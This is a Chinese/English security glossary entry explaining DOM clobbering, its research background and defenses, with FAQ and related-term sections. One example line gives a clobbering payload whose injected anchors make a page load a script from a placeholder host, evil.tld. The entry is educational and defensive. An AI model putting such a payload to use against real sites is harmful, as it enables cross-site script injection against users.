DOM Clobbering
DOM Clobbering 是什么?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● 示例
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● 常见问题
DOM Clobbering 是什么?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. 它属于网络安全的 应用安全 分类。
DOM Clobbering 是什么意思?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM Clobbering 是如何工作的?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
如何防御 DOM Clobbering?
针对 DOM Clobbering 的防御通常结合技术控制与运营实践,详见上方完整定义。
DOM Clobbering 还有哪些其他名称?
常见的别称包括: HTML namespace pollution, Named-element global hijack。
● 相关术语
- attacks№ 265
跨站脚本(XSS)
一种 Web 漏洞,攻击者可在其他用户浏览的页面中注入恶意脚本,使其在受害者浏览器中以该站点的来源身份运行。
- attacks№ 1225
存储型 XSS
一种持久化的跨站脚本漏洞,攻击者注入的脚本被保存到服务器,并在每位访问者的浏览器中执行。
- appsec№ 237
内容安全策略 (CSP)
一种 HTTP 响应头,告诉浏览器允许加载哪些来源的脚本、样式、框架等内容,从而限制 XSS 与数据注入攻击的影响。
- appsec№ 1302
Trusted Types
浏览器 API 与 CSP 指令,要求危险的 DOM 接收器只能接受经策略审查的类型化值,从而防止基于 DOM 的 XSS。
- appsec№ 599
输入校验
在应用处理数据前,服务端检查所有不可信输入是否符合预期的类型、长度、范围、格式和取值集合。
- appsec№ 866
输出编码
将不可信数据转换为特定输出上下文(HTML、JavaScript、URL、SQL、Shell)安全的形式,使其无法逃逸并被当作代码执行。